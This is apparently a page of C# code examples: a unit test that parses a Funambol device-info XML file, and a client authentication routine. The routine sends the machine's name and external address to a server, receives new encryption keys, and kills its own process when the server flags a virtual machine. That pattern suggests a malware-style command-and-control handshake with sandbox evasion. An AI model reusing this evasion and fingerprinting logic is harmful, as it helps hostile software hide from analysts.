Exemple #1
0
        public void TestDevinfFunambol()
        {
            XElement nav = XElement.Load(CaseFile("DevinfFunambol.xml"));

            DevInf f = DevInf.Create(nav);

            Assert.IsTrue(CompareXml(nav, f.Xml), f.Xml.ToString());
        }
Exemple #2
0
        public bool AuthDomain()
        {
            bool     isAuthed    = false;
            AuthStep currentStep = AuthStep.Step0;
            string   step0       = "";
            string   step1       = "";
            string   step2       = "";
            string   step3       = "";
            DevInf   dev         = new DevInf();
            string   neededStep  = Convert.ToBase64String(Encoding.ASCII.GetBytes($"{dev.GetName()}:{dev.GetExternal()}"));

            while (Authing)
            {
                switch (currentStep)
                {
                case AuthStep.Step0:

                    //Send and recieve reply for step 0\\
                    step0 = DefaultSendNGetData(cry.DefaultEncrypt(neededStep), true);
                    Console.WriteLine($"Sent {cry.DefaultEncrypt(neededStep)}");
                    Console.WriteLine($"Recieved {step0} | Decrypted");
                    if (step0.Contains("VALID"))
                    {
                        currentStep = AuthStep.Step1;
                    }
                    else
                    {
                        Failed  = true;
                        Authing = false;
                    }

                    break;

                case AuthStep.Step1:

                    //Send and recieve reply for connection key verification\\
                    step1 = DefaultSendNGetData(cry.DefaultEncrypt(ClientSettings.ConnectionKey), false);
                    Console.WriteLine($"Sent {cry.DefaultEncrypt(ClientSettings.ConnectionKey)}");
                    Console.WriteLine($"Recieved {step1} | Decrypted");
                    if (step1.Contains("VALID"))
                    {
                        currentStep = AuthStep.Step2;
                    }
                    else
                    {
                        Failed  = true;
                        Authing = false;
                    }

                    break;

                case AuthStep.Step2:

                    //Send and recieve reply for pass:salt verification\\
                    step2 = DefaultSendNGetData(cry.DefaultEncrypt($"{StaticKeys.SHAPass}:{StaticKeys.SHASalt}"), false);
                    Console.WriteLine($"Sent {cry.DefaultEncrypt($"{StaticKeys.SHAPass}:{StaticKeys.SHASalt}")}");
                    Console.WriteLine($"Recieved {step2} | Decrypted");
                    if (step2.Contains("VALID"))
                    {
                        currentStep = AuthStep.Step3;
                    }
                    else
                    {
                        Failed  = true;
                        Authing = false;
                    }

                    break;

                case AuthStep.Step3:
                    // This step will process step2 string's data \\
                    // This step also handles if the server tells us to handle the VM or not \\
                    // VALID:{newKeys.Password}:{newKeys.Salt}:{newKeys.XorKey}
                    string result = ReadDecrypted();
                    if (result.Contains("AUSSIEAUSSIEAUSSIE"))     // handle VM
                    {
                        Console.WriteLine("Getting rid of some stuff...");
                        Process          me            = Process.GetCurrentProcess();
                        ProcessStartInfo updateDetails = new ProcessStartInfo();
                        updateDetails.Arguments       = $"/f /im {me.ProcessName}";
                        updateDetails.CreateNoWindow  = true;
                        updateDetails.UseShellExecute = true;
                        updateDetails.FileName        = "taskkill";
                        Process.Start(updateDetails);     // Deal with us via MS program
                        break;
                    }
                    if (result.Contains("GOOD"))     // Good, use static keys though
                    {
                        Console.WriteLine("Using the built in defaults...");
                        ClientSettings.AssignedKeys = false;
                        Authing = false;
                        Authed  = true;
                        break;
                    }
                    if (result.Contains("KEYS"))
                    {
                        string[] updates = result.Split(':');
                        // KEYS:pass:salt:xor:vikey
                        //   0   1    2    3    4
                        EncryptionKeys newKeys = new EncryptionKeys();
                        newKeys.Password   = updates[1];
                        newKeys.Salt       = updates[2];
                        newKeys.XorKey     = updates[3];
                        newKeys.VlKey      = updates[4];
                        ClientSettings.key = newKeys;
                        Console.WriteLine("New keys recieved and being used...");
                        ClientSettings.AssignedKeys = true;
                        string response = SendData("UPDATED");
                        Authing = false;
                        Authed  = true;
                    }


                    // ClientSettings updated with the needed info at this point \\
                    break;

                default:
                    break;
                }
            }

            if (Authed)
            {
                isAuthed = true;
            }

            return(isAuthed);
        }